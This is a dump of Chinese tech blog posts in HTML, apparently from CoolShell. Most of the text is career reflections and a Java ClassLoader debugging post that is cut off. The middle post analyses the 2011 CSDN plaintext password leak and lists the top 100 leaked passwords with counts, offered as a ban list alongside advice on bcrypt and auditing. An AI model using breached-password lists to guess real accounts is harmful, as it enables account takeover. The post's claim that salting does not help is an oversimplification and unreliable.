30px;\">1）<strong>户口，离家近，安逸的生活，相比起你的人生经历，你的眼界，你的发展，什么都不是</strong>。千万不要让户口限制了你的人生，如果要过安逸轻松的生活，最佳方案是进政府部门，既然要活在体制外，就一定是靠能力，靠经历，一定要有好的经历和能力。</p>\n<p style=\"padding-left: 30px;\">2）<strong>眼界，眼界，眼界</strong>。这是我们这个国家里的人最需要的东西了，你的眼界决定了你的人生。我对杭州的这家公司一无所知，但是我知道雅虎的一些好处：a）互联网企业，其天地明显要比BI广阔很多，b）技术强，能人多（看雅虎的面试的难度以及一些产品就知道了），c）外企，可以练英语。d) 跨国公司，可以开眼界，或许会有出国机会。e）北京，几乎所有的知名公司都在这里有基地，这里的技术氛围在全国数一数二。<strong>为了经历和眼界，辛苦几年又有何妨？！人生还是需要有激情的。</strong></p>\n<p style=\"padding-left: 30px;\">3）<strong>经历，经历，经历</strong>。问自己一下，我们会在毕业的第一份工作呆上一辈子吗？不会吧。就算不喜欢北京，就算雅虎这个公司并不完美，但是雅虎的经历，能为你开启一个更为广阔的天地。</p>\n<p style=\"padding-left: 30px;\">4）我认为一个有过几乎失败经历的公司会更牛。Apple被打趴下过，Amazon也被打趴下过，<strong>只有被打趴下过而又能站起来的公司和人才是<strong>真正伟大的</strong></strong>。如果Yahoo还能站起来，它一定会是一个伟大的公司。</p>\n<p>小伙子是个很聪明的人，也是个对生活有激情的人，所以，最后毁了“三方”选择了雅虎。他说：</p>\n<blockquote><p>最终选择雅虎的原因是，我觉得趁早年轻先出去看看，北京还是一个开阔视野的好地方。我要是一开始就选择杭州，以后估计不太会出去了，人生短暂，我还是希望多经历一些多体会一些。我从不畏惧在北京是否有户口，那里的房价是否承受的起，我觉得一个刚毕业的学生没必要太多的考虑这些问题，最重要的是考虑自己的发展。</p></blockquote>\n<p>而我的心情却有些复杂，一方面，我觉得一个人的一生可能就此被我改变了，我的心里很复杂。另一方面，万一他来北京不是很顺怎么办？会不会说我骗了他？在这里，我想对这个朋友说——“保持你的热情，努力开你的眼界，努力提高你的能力，你不可能走得不好的，就算雅虎有一天倒下了，也会有很多个更好机会等着你的，我会一直在你身边帮助你的”。</p>\n<p>这样的来信还有很多很多，户口，薪资，是否去大城市，几乎都成了大家考虑的重点。这个年代实在是太浮躁了。我在此想告诉大家，对于你的人生你应该把“<strong>和什么样的人做什么样的事</strong>”提到你择业优先级最高的地位，没有之一。我的答案是，“<strong>和有激情能做事的人做有意义的事</strong>”。</p>\n<p><strong>生活在如此刺激的年代，一定要去经历那些最刺激最有意义的东西，这样人生才会变得有意义。</strong></p>\n<h4>第二个事：Amazon的校园招聘</h4>\n<p>在Amazon校招的其间发生了一些有意思的事，比如：</p>\n<p>1）在哈尔滨校招过后，我被公司里的一些同事亲切地称为“<a href=\"http://blog.sina.com.cn/s/blog_65f386930100ytgc.html\" target=\"_blank\">体型魁梧的男子</a>”，呵呵。希望这位同学毕业的时候还能来Amazon面试，这样，我就能再“虐你一次”。哈哈。</p>\n<p>2）这次Amazon的校招在北京，天津，西安，武汉，哈尔滨等地进行了招聘，大家知道我们用什么面试题来面这些快毕业的学生吗？我们用面试高级程序员的问题来面试这些刚毕业的学生（我和我的团队里的那些高级程序员说：“你们应该庆幸你们面试的时候没有被回这些问题”）。你知道我们有什么样的收获？主要有两点收获：</p>\n<ul>\n<li><strong>武汉的学生太给力了</strong>。你们的能力超出了所有其它城市的学生，包括北京。这让我们很诧异，搞得我们几个经理都在思考是不是要去武汉建Amazon的研发分部去了。我个人的分析是：<strong>武汉属于中心城市和北京等大城市的沟通相当地好，在这里的学生和在北京的学生有一样的眼界和技术氛围，但却没有在大城市的同学们的浮燥，能踏下心来专研技术</strong>。</li>\n</ul>\n<ul>\n<li><strong>学C++的同学比学Java的同学解决问题的能力更强</strong>。因为两个原因，a) C++需要了解系统知识，b) C++的程序员几乎什么事都得自己干。（参看我的《<a href=\"https://coolshell.cn/articles/4102.html\" target=\"_blank\" title=\"如何学好C语言\">如何学好C语言</a>》和《<a href=\"https://coolshell.cn/articles/4119.html\" target=\"_blank\" title=\"如何学好C++语言\">如何学好C++语言</a>》，当然，Java还是很牛的，比如OO方面）</li>\n</ul>\n<p>3）有一个同学接受了Amazon的offer后，给我来信诉说，给他打电话的经理告诉他要做的是测试为主的工作。然后，他给我发邮件来和倾诉，我说，<strong>如果你不喜欢，你就要说出来，不要将就，将就出来的人生只会平添许多烦恼和后悔</strong>。在此，我想在这里澄清两个事：</p>\n<ul>\n<li>Amazon不会强行把你分配到团队中，只要你有想去的团队，你就应该说出来。我们一开始会内部做分配，这样做只是为了效率，但是这并不代表你已经被最终分配到那个团队中去了，无法再调整了。只要你提出来你想做什么。我们会把你的要求放在第一位，并尽最大的可能满足你的要求。相信经理们给你们电话的时候都说过这样的内容了。</li>\n</ul>\n<ul>\n<li>Amazon所有的“蓝卡员工”（在Amazon工作5年以内的员工）在工作满一年后，可以有条件地在Amazon内部transfer。条件只有一个：你的工作业绩要很不错，在相同级别的员工中是中坚力量。你可以直接申请其它团队的招聘职位（这个其它团队包括了美国总部在内的全世界的团队），经过流程简单的面试就可以正式transfer。没有人可以阻止你，那怕是Jeff Bezos也无权阻止你。（这个政策要比北京户口更有价值吧？！Think it Big!）</li>\n</ul>\n<p>4）最后一个有关校园招聘的事发生在我的团队。我觉得我可能要失去这个获得offer的学生了。他在腾讯和亚马逊之间更倾向于腾讯，因为他在腾讯实习过。他一开始的理由主要是，一个是户口问题，腾讯可以解决户口，另一个是他想做底层的C/C++，而不是Java。后面的理由又转变为腾讯的团队文化，等等。</p>\n<p>我已经给他打过两次电话了，也和他说过许多，和第一个故事里说得差不多。对于是否做C/C++还是Java这方面的事，他和我说，他想在某一个领域成为一个专家。我对他说的这个专家有些模糊，我只是和他说——“<strong>软件的精髓不在于你对系统底层有多了解，也不在语言层面，而是在于设计和架构，而设计和架构这种东西只能靠多想多看</strong>”，我和他说，Amazon不是一个喜欢分享的公司，Amazon内部很多技术和设计水平可能是外部的人无法想像的。我希望他能来我的团队和大家工作一段时间真正感受一下，再做打算。（当然，要是他不明白这些事，我也觉得他不来也没有什么可惜的）</p>\n<p>另外，我想对所有的人说：“<strong>这个世界上有两种公司，一种是“劳动密集型”的公司，另一种是“知识密集型”的公司，很多公司把软件做成了一种“劳动密集型”的活动，在那里永远无法做出能够让业界所震撼的东西，而有的公司才能把其做成“知识密集型”的公司，在那里，你会看到世界因为他们而改变</strong>”。如果你不能理解这句话的话，你不妨想像一个网上卖书的的公司干出连Google都赶不上的“平台”（参看“<a href=\"https://coolshell.cn/articles/5701.html\" target=\"_blank\" title=\"SteveY对Amazon和Google平台的长篇大论\">Steve Y的Amazon和Google平台论</a>”），你不妨想像一个做MP3播放器的公司可以改变唱片业乃至改变世界。</p>\n<p>不管这位同学最终能不能成选择我的团队的一员，我都会送你一本《Steve Jobs》，额外，我还会送你一件我团队自己制作的T恤（见下图，谢谢我的HR Recruiter当模特）。</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter wp-image-6145\" height=\"441\" src=\"../wp-content/uploads/2011/12/amazon_global_selling.jpg\" title=\"Amazon Global Selling\" width=\"336\"/></p>\n<h4>第三个事：朋友的跳槽</h4>\n<p>我有一个普通朋友，几个月前跳槽去了一家正在高薪挖人的国内的快要准备IPO的公司。他们开出的薪水和条件非常地诱人。给我这个朋友的开出薪水和那个职位诱惑力太大了。一般人都很难拒绝。但是，当他入职了以后，他发现了这个公司内有很多东西是相当恶心和让他无法接受的，这个公司就可能连“劳动密集型”的公司都不算，非常发不重视技术，在技术上做的东西相当地不规范，在那里的技术人员不但相当地苦逼，而且干的事相当的垃圾，出了问题，所有的团队都在互相推诿，管理非常混乱。这让我的那个朋友非常地难受，在那里的每一天都是一种煎熬，而且他无法改变，高管也很难改变这种局面。整个公司在一种疯狂地暗无天日的状态下工作。我对这个朋友目前的善感到担忧。</p>\n<p>但是，我想借这个事来谈谈我的想法。我承认薪水和职位是一种价值，但是，人生的价值只有这个吗？你一年少了那几万块钱，你也穷不了，你多了那几万块钱，你也富不了，为什么不去追求那些比那几万块钱更有价值的东西呢？对于我来说，我觉得，最有价值的东西就是——<strong>能和那些有梦想有追求有能力的人一起去经历那些最有意义的事情，那些能够造福社会、改变世界、创造历史的事情</strong>。</p>\n<p>我从我的上一份工作到现在的工作，我的薪水不但没怎么涨，只是执平，而我的职位还比上一家公司降了一级（而且我还放弃两年内职位还可能再次晋升的机会），我管的团队从4个团队减到了一个很小的5个人左右的团队（现在我坚持小的团队做大事）。我来Amazon之前，这个事让我整整思考了2个多月。最终我发现，<strong>职位和薪水这些对我来说都无所谓，因为我是做事的人，而只有有意义的经历才能真正喂饱我</strong>。而我目前在Amazon里做的这个事，是可能改变历史的事，是那种可以让我一想起来就会兴奋的事。</p>\n<p><strong>我知道，价值并不仅仅只是名利权，对此我只想说，不要把自己给卖了</strong>。</p>\n<h4>三个问题</h4>\n<p>其实，我还有很多故事可以讲，只不过我写得太多了，差不多到文章该结束的时候了。那些事改天再说吧。我经历的这些事让我思考了很多很多。每年年底都是我情绪比较低沉的时候，因为，这个时候是我反思一年中的得失的时候，在这个时间段里，我会有一些不安，那种我害怕已经虚度了这一年的那种不安。</p>\n<p>2011年的年底，我问了我自己三个问题：</p>\n<p style=\"padding-left: 30px;\"><strong>1）每天早上醒过来的时候，我会为什么感到兴奋？是什么在驱动着我去开始新的一天？</strong></p>\n<p style=\"padding-left: 30px;\"><strong>2）现在的经历有没有让我有这种兴奋的感觉？这种让我充满力量和期待的感觉？</strong></p>\n<p style=\"padding-left: 30px;\"><strong>3）有没有浮燥，有没有得到认可？身边的人的认可？但更重要的是自己是否对自己认可？</strong></p>\n<p style=\"text-align: left;\">我把我自己的这三个问题共享给大家，我有我的答案，相信你也有你的答案。</p>\n<p style=\"text-align: center;\"><strong>在2011年的年底，我希望大家的2011年没有虚度，而2012年能经历那些有意义的的事。</strong></p>\n<p style=\"text-align: center;\"><span style=\"color: #cc0000; font-size: 16pt; font-family: 'Microsoft YaHei';\"><strong>提前祝大家新年快乐！</strong></span></p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17583.html\"><img alt=\"技术人员的发展之路\" height=\"150\" src=\"../wp-content/uploads/2016/12/people-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17583.html\">技术人员的发展之路</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8790.html\"><img alt=\"程序算法与人生选择\" height=\"150\" src=\"../wp-content/uploads/2012/12/choice-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8790.html\">程序算法与人生选择</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5815.html\"><img alt=\"来信， 创业 和 移动互联网\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5815.html\">来信， 创业 和 移动互联网</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3231.html\"><img alt=\"你和你的工作\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3231.html\">你和你的工作</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/6142.html\">三个事和三个问题</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-12-22 CSDN明文口令泄露的启示.html",
    "content": "<html><body><p>2011年12月21日晚，某计算机专业的大学生寝室，某同学大叫到：“兄弟们，最新的日本XX女星的AV片已经下好，大家快过来看啊，相当精彩啊~~~”，然而，这个寝室里的其它同学似乎没有听到这哥们的呼喊，于是，这哥们又叫了三次，没有人理他，因为大家都在眉飞色舞地谈论着CSDN的明文密码和用户帐号泄露的事情，并在网上查找着下载CSDN那600万的用户数据……上面这个故事是我编的，只是想描述一下昨晚的情形。</p>\n<p>其实，CSDN明文密码并不是什么稀奇的事情，我是2000年注册CSDN的吧，当时找回口令的机制就是把口令直接传回来了，这一定是明文了。去年去CSDN参加移动互联网沙龙的时候，范凯和蒋涛说过明文密码的事，不过他们说的是很早以前的事了，而且一笔带过了。1年后的今天，事情又暴了，可见，“出来混的，迟早是要还的”这句话是几近真理的。</p>\n<p>我在以前的BLOG里就提到过CSDN的明文密码（在“<a href=\"https://coolshell.cn/articles/5353.html\" title=\"你会做Web上的用户登录功能吗？\">如何设计用户登录功能</a>”一文）和 帐号泄露（“<a href=\"https://coolshell.cn/articles/2428.html\" title=\"如何管理并设计你的口令\">如何设计自己的口令</a>”） 的事（<strong>由此可见，酷壳里的很多文章里的事都应验了</strong>，因为我知道“出来混的，迟早是要还的”）</p>\n<p>（<strong>可悲吧？还是程序员的网站呢，明文口令和用户信息泄露有悖于一个程序员网站的称号</strong>）</p>\n<h4>泄露的密码分析</h4>\n<p>我昨晚下载了<a href=\"http://www.csdn.net.sql\">www.csdn.net.sql</a>文件，并分析了一下这个文件，经过各种awk, grep, sort, uniq, sed后，下面是我看到的东西：</p>\n<ul>\n<li>有近45万的用户使用 123456789 和 12345678 做口令。</li>\n<li>有近40万的用户使用自己的生日做口令。</li>\n<li>有近15万的用户使用自己的手机号做口令。</li>\n<li>有近25万的用户使用自己的QQ号做口令。</li>\n<li>设置成弱口令的用户占了590万，也就是那种就算你用MD5或是SHA散列的也能很快就被暴力破解出来的口令。</li>\n<li>只有8000多个用户的口令里在8个长度以上，并有大写字母，小写字母，数字，并不在字典表里。</li>\n</ul>\n<p>（很好，这回泄露的还不单单只是明文用户密码和用户邮件，还有用户的手机号，生日和QQ号。挺好的）</p>\n<p>下面，我们来看一下top 100的口令是什么？（第一列是采用这个密码个数，第二列是密码，我擦 dearbook是什么啊）简单地看了一下，top 一万的口令都很SB。比如什么woshishui, 123abc, aaa123456，01010101，haohaoxuexi，msconfig 相当的2B，还有<a href=\"mailto:P@ssw0rd\">P@ssw0rd</a>，q1w2e3r4t5，看似文艺，实际很2的口令…. （<strong>可悲吧？还是程序员的网站呢，自己设的口令有悖于一个程序员的称号</strong>）</p>\n<p><span id=\"more-6193\"></span></p>\n<p style=\"padding-left: 30px;\">235033 123456789<br/>\n212751 12345678<br/>\n76346 11111111<br/>\n45902 dearbook<br/>\n34953 00000000<br/>\n19986 123123123<br/>\n17791 1234567890<br/>\n15033 88888888<br/>\n6995 111111111<br/>\n5966 147258369<br/>\n5553 987654321<br/>\n5459 aaaaaaaa<br/>\n5145 1111111111<br/>\n5025 66666666<br/>\n4435 a123456789<br/>\n4096 11223344<br/>\n3667 1qaz2wsx<br/>\n3649 xiazhili<br/>\n3610 789456123<br/>\n3497 password<br/>\n3281 87654321<br/>\n3277 qqqqqqqq<br/>\n3175 000000000<br/>\n3143 qwertyuiop<br/>\n3094 qq123456<br/>\n3077 iloveyou<br/>\n3061 31415926<br/>\n2985 12344321<br/>\n2886 0000000000<br/>\n2826 asdfghjkl<br/>\n2797 1q2w3e4r<br/>\n2580 123456abc<br/>\n2578 0123456789<br/>\n2573 123654789<br/>\n2540 12121212<br/>\n2515 qazwsxedc<br/>\n2396 abcd1234<br/>\n2380 12341234<br/>\n2348 110110110<br/>\n2298 asdasdasd<br/>\n2243 22222222<br/>\n2166 123321123<br/>\n2160 abc123456<br/>\n2145 123456<br/>\n2138 a12345678<br/>\n2113 123456123<br/>\n2106 a1234567<br/>\n2100 1234qwer<br/>\n1989 qwertyui<br/>\n1986 123456789a<br/>\n1971 aa123456<br/>\n1918 asdfasdf<br/>\n1891 99999999<br/>\n1859 999999999<br/>\n1859 123456aa<br/>\n1854 123456123456<br/>\n1699 520520520<br/>\n1656 963852741<br/>\n1652 741852963<br/>\n1652 55555555<br/>\n1589 33333333<br/>\n1480 qwer1234<br/>\n1384 asd123456<br/>\n1339 77777777<br/>\n1316 qweasdzxc<br/>\n1285 code8925<br/>\n1273 11112222<br/>\n1268 ms0083jxj<br/>\n1245 zzzzzzzz<br/>\n1214 111222333<br/>\n1206 qweqweqwe<br/>\n1200 3.1415926<br/>\n1183 123456qq<br/>\n1148 147852369<br/>\n1136 521521521<br/>\n1121 asdf1234<br/>\n1111 123698745<br/>\n1109 1123581321<br/>\n1058 asdfghjk<br/>\n1054 q1w2e3r4<br/>\n1038 12345678a<br/>\n1003 woaini1314<br/>\n991 1234abcd<br/>\n988 123qweasd<br/>\n975 1qazxsw2<br/>\n967 woaiwojia<br/>\n920 321321321<br/>\n910 05962514787<br/>\n894 123456987<br/>\n892 kingcom5<br/>\n882 zxcvbnm123<br/>\n882 5845201314<br/>\n853 0987654321<br/>\n847 wwwwwwww<br/>\n835 11111111111111111111<br/>\n805 12345600<br/>\n783 11235813<br/>\n777 1q2w3e4r5t<br/>\n772 10101010<br/>\n770 123456asd</p>\n<h4>老生长谈安全问题</h4>\n<p>从酷壳出现开始我就在老生长谈用户安全的东西了，今天借着这个事，大家再去重温一下酷壳的文章吧：</p>\n<ul>\n<li><a href=\"https://coolshell.cn/articles/2451.html\" title=\"Twitter的禁用口令\">Twitter禁用的口令</a>。看看去吧，一个好的网站应该如何引导用户设置强口令。Apple ID也是这样，需要你输入的口令有大小写，数字，非数字和字母，等等。<strong>今天CSDN的这个列表应该成为各大网站“口令禁用列表”。</strong></li>\n</ul>\n<ul>\n<li>有朋友说，明文口令是巨2的一件事，是的。我可以告诉你，这个明文口令有可能存在于所有国内的网站上，比如：QQ，新浪，人人，开心，天涯……。<strong>对于安全问题，你要做最坏的假设，鲁迅先生说过：“不惮以最坏的恶意来推测中国人”，所以，对于中国的网站你要做如下最坏假设：1）其以明文存我的口令，2）其内部不良员工会把我的信息泄露出去</strong>。不信你可以看看下面的某QQ群里的截图：（<a href=\"http://weibo.com/1494759712/xDa7tah7E?type=repost\" target=\"_blank\">看看多玩网明文口令的消息吧</a>，<a href=\"http://weibo.com/1642471052/xDaC1dEhP?type=repost\" target=\"_blank\">再看看这个消息吧</a> QQ邮箱和QQ号的）<img alt=\"\" class=\"aligncenter\" height=\"756\" src=\"http://ww4.sinaimg.cn/large/63071edagw1doah4id8l4j.jpg\" title=\"国内网站的数据库\" width=\"333\"/></li>\n</ul>\n<ul>\n<li>你可能会说用MD5和SHA散列口令就好了，这个只比明文好一点点，因为有rainbow table，国外的号称达到99%覆盖，国内的达到93%覆盖。你加salt也没有用。就算我只能拿得到你的被散列的密码，没有rainbow和salt，我一样可以使用暴力破解，甚至就是尝试一下字典里的密码就可以了。这会非常快的，你可以看看本站的这篇文章“<a href=\"https://coolshell.cn/articles/3801.html\" target=\"_blank\" title=\"破解你的口令\">破解你的口令</a>”，<strong>现在暴力破解MD5和SHA的口令很快的，因为MD5和SHA性能太好了。</strong>所以，你需要看看“<a href=\"https://coolshell.cn/articles/2078.html\" target=\"_blank\" title=\"如何防范密码被破解\">如何防范密码被破解</a>”，其会告诉你加密口令要用一个性能差的算法——bcrypt。（也可以参看<a href=\"https://coolshell.cn/articles/6043.html\" title=\"Web开发中需要了解的东西\">Web开发中需要了解的东西</a>中的<a href=\"http://codahale.com/how-to-safely-store-a-password/\" target=\"_blank\">如何安全保存口令一文</a>）</li>\n</ul>\n<ul>\n<li>所以，你有必要地读一读我的这篇“<a href=\"https://coolshell.cn/articles/2428.html\" title=\"如何管理并设计你的口令\">如何管理和设计自己的口令</a>”，不要在同一网站上使用相同的口令，把口令的级别分好的组。自己管理好自己的口令。</li>\n</ul>\n<ul>\n<li> 对于Web用户的安全问题，程序员们一定要看一下 这两篇文章，你要是不看的话，你没有资格开发Web项目。</li>\n<ul>\n<li><a href=\"https://coolshell.cn/articles/5353.html\" title=\"你会做Web上的用户登录功能吗？\">如何设计用户登录功能</a></li>\n<li><a href=\"https://coolshell.cn/articles/6043.html\" title=\"Web开发中需要了解的东西\">Web开发中需要了解的东西</a></li>\n</ul>\n</ul>\n<ul>\n<li>当你看过 <a href=\"https://coolshell.cn/articles/5353.html\" title=\"你会做Web上的用户登录功能吗？\">如何设计用户登录功能</a> 一文后，你一定会头晕的，所以，我想告诉你，<strong>这种事情最好不要自己干，使用OpenID 和 OAuth吧，人家把这事干到了极致了</strong>。而且这样会带来两个好处：</li>\n<ul>\n<li><strong>用户不需要自己维护和管理一套新的帐号</strong>。</li>\n<li><strong>用户的资料放在国外，从政治上来说是安全的</strong>。（八卦一下：Google总部要求中国谷歌所有开发团队不得在本地保存用户的信息）</li>\n</ul>\n</ul>\n<ul>\n<li>再说一点，再说说如何让自己内部的用户数据不会被不良员工外泄。<strong>所有的开发团队都不允许直接操作用户的数据库，只允许通过安全的接口来验证用户，用户信息的数据库中需要对操作者有审计功能，永远不允许不受信的人或操作进行全库扫描</strong>。当然，我相信，国内的开发团队绝对达不到这一步（包括某些银行）。</li>\n</ul>\n<ul>\n<li>再说一下，<strong><span style=\"color: #000000;\">真正的安全系统是协同整个社会的安全系统做出来的一道安全长城，而不是什么都要自己搞</span>。</strong>比如：通过很多方法“耦合”和银行和电信其是别的第三方的安全策略，比如，让用户绑定邮箱，绑定手机，绑定信用卡等。</li>\n</ul>\n<p>最后说一下，CSDN在这次事件的表现看上去还是很不错的，道歉也很诚恳，<strong>但是，我还是希望CSDN反思一下为什么数据库会泄露了？内部有不良员工？还是系统不安全被黑？不要只是诚恳道歉，还要找自己的原因。其它的网站可能就很恶劣了。包括新浪，人人，开心等，最恶心的就是腾讯，你说他的安全有问题，他还找一堆人来骂你。</strong></p>\n<p style=\"text-align: center;\"><span style=\"color: #cc0000; font-size: 16pt; font-family: 'Microsoft YaHei';\"><strong>祝大家新年快乐！</strong></span></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5353.html\"><img alt=\"你会做Web上的用户登录功能吗？\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5353.html\">你会做Web上的用户登录功能吗？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3877.html\"><img alt=\"另类UX让你输入强口令\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3877.html\">另类UX让你输入强口令</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3801.html\"><img alt=\"破解你的口令\" height=\"150\" src=\"../wp-content/uploads/2011/02/passwords-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3801.html\">破解你的口令</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2451.html\"><img alt=\"Twitter的禁用口令\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2451.html\">Twitter的禁用口令</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2428.html\"><img alt=\"如何管理并设计你的口令\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2428.html\">如何管理并设计你的口令</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2078.html\"><img alt=\"如何防范密码被破解\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2078.html\">如何防范密码被破解</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/6193.html\">CSDN明文口令泄露的启示</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-12-28 由一个问题到 Resin ClassLoader 的学习.html",
    "content": "<html><body><p><strong>（<span style=\"color: #cc0000;\">感谢网友 liuxiaori 分享其经历</span>）<br/>\n</strong></p>\n<h4>背景</h4>\n<p>某日临近下班，一个同事欲取任何类中获取项目绝对路径，不通过Request方式获取，可是始终获取不到预想的路径。于是晚上回家google了一下，误以为是System.getProperty(“java.class.path”)-未实际进行测试，早上来和同事沟通，提出了使用这个内置方法，结果人家早已验证过，该方法是打印出CLASSPATH环境变量的值。</p>\n<p>于是乎，继续google，找到了Class的getResource与getResourceAsStream两个方法。这两个方法会委托给ClassLoader对应的同名方法。以为这样就可以搞定(实际上确实可以搞定)，但验证过程中却发生了奇怪的事情。</p>\n<p>软件环境：Windows XP、Resin 3、Tomcat6.0、Myeclipse、JDK1.5</p>\n<h4>发展</h4>\n<p>我的验证思路是这样的：</p>\n<ol>\n<li>定义一个Servlet，然后在该Servlet中调用Path类的getPath方法，getPath方法返回工程classpath的绝对路径，显示在jsp中。</li>\n<li>另外在Path类中，通过Class的getResourceAsStream读取当前工程classpath路径中的a.txt文件，写入到getResource路径下的b.txt。</li>\n</ol>\n<p>由于时间匆忙，代码没有好好去组织。大致能看出上述两个功能，很简单不做解释。</p>\n<p><span id=\"more-6112\"></span></p>\n<pre class=\"EnlighterJSRAW\">\npublic class Path {\n    public String getPath() throws IOException\n    {\n        InputStream is = this.getClass().getResourceAsStream(\"/a.txt\");\n        File file = new File(Path.class.getResource(\"/\").getPath()+\"/b.txt\");\n        OutputStream os = new FileOutputStream(file);\n        int bytesRead = 0;\n        byte[] buffer = new byte[8192];\n        while ((bytesRead = is.read(buffer, 0, 8192)) != -1) {\n            os.write(buffer, 0, bytesRead);\n        }\n        os.close();\n        is.close();\n        return this.getClass().getResource(\"/\").getPath();\n    }\n}\n</pre>\n<p> </p>\n<pre class=\"EnlighterJSRAW\">\npublic class PathServlet extends HttpServlet {\n    private static final long serialVersionUID = 4443655831011903288L;\n    public void doGet(HttpServletRequest request, HttpServletResponse response)\n        throws ServletException, IOException\n    {\n        Path path = new Path();\n        request.setAttribute(\"path\", path.getPath());\n        PrintWriter out = response.getWriter();\n        out.println(\"Class.getResource('/').getPath():\" + path.getPath());\n    }\n\n    public void doPost(HttpServletRequest request, HttpServletResponse response)\n        throws ServletException, IOException\n    {\n        doGet(request, response);\n    }\n}</pre>\n<p>在此之前使用main函数测试Path.class.getResource(“/”).getPath()打印出预想的路径为：/D:/work/project/EhCacheTestAnnotation/WebRoot/WEB-INF/classes/</p>\n<p>于是将WEB应用部署到Resin下，运行定义好的Servlet，出乎意料的结果是：/D:/work/resin-3.0.23/webapps/WEB-INF/classes/ 。特别奇怪，怎么会丢掉项目名称：EhCacheTestAnnotation呢？</p>\n<p>还有一点值得注意，getPath方法中使用getResourceAsStream(“/a.txt”)却正常的读到了位于下图的a.txt。<br/>\n<img alt=\"\" class=\"aligncenter size-full wp-image-6280\" height=\"154\" 